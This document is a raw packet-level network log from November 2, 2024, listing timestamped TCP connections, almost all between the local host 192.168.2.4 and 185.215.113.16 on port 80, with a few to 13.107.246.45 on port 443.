Nov 2, 2024 07:16:22.087352991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087359905 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087364912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087374926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087387085 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087434053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087434053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087472916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087482929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087495089 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087517023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087532997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087541103 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087541103 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087574005 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087577105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087588072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087616920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087656975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087668896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087682962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087693930 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087702036 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087713003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087723970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087733984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087737083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087747097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087754011 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087790012 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087790012 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087802887 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087842941 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087848902 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087858915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087868929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087884903 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087929964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087929964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.087933064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087944031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.087977886 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088012934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088021994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088038921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088052034 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088053942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088067055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088073015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088078976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088092089 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088110924 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088149071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088191032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088232040 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088243008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088259935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088270903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088279963 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088284969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088289976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088304996 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088311911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088323116 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088324070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088334084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088341951 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088347912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088361025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088382006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088537931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088547945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088567972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088577986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088588953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088589907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088597059 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088608027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088610888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088619947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088629961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088639021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088649035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088651896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088660002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088690996 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088691950 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088803053 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088849068 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088856936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088869095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088880062 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088891983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088916063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088926077 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088934898 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088937044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088951111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.088982105 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.088982105 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089039087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089050055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089060068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089071989 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089082956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089087963 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089117050 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089145899 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089293003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089303970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089314938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089342117 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089370966 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089373112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089384079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089426041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089451075 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089468002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089481115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089498043 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089514971 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089520931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089531898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089560986 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089587927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089762926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089772940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089790106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089799881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089809895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089812994 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089839935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089868069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089911938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089920998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.089956045 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.089984894 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.123425961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.123486996 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.123497009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.123538971 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166287899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166297913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166307926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166325092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166340113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166351080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166357040 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166359901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166376114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166380882 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166388035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166399002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166410923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166420937 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166424990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166444063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166449070 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166450024 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166454077 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166464090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166475058 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166486025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166486025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166486025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166498899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166507959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166515112 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166517019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166528940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166532040 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166538000 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166549921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166554928 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166562080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166579008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166589022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166595936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166595936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166598082 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166615009 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166636944 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166699886 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166711092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166722059 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166734934 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166769028 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166778088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166789055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166799068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166815996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166827917 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166831970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166842937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166846037 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166853905 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166863918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166867018 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166881084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166891098 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166894913 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166913986 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166917086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166929960 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166951895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166956902 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.166963100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166973114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.166996002 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167015076 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167016029 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167031050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167042971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167058945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167058945 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167071104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167081118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167083979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167083979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167102098 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167109013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167119980 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167130947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167141914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167141914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167141914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167146921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167157888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167167902 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167175055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167175055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167192936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167208910 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167224884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167267084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167267084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167278051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167304993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167321920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167326927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167351007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167356014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167366982 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167368889 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167376995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167398930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167414904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.167428970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167438030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.167473078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.181205034 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.181629896 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.181673050 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.182092905 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.182105064 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.207307100 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.207789898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207824945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207880020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.207880020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.207891941 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207954884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207964897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207974911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.207999945 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208028078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208029985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208045959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208058119 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208069086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208069086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208081007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208112955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208113909 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208113909 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208149910 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208187103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208198071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208206892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208229065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208256960 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208261967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208271027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208280087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208291054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208301067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208303928 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208312035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208328962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208333969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208338022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208353996 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208372116 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208456039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208465099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208479881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208498001 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208518982 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208519936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208530903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208560944 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208566904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208576918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208578110 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208617926 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208635092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208686113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208688974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208702087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208729029 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208755970 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208761930 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208772898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208784103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208811998 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208839893 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208848953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208858967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208868027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208895922 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208924055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.208931923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208942890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208952904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208964109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208981991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.208993912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209003925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209003925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209012985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209023952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209027052 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209043026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209068060 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209070921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209080935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209110022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.209148884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209158897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.209168911 CET	80	63862	185.215.113.16	192.168.2.4
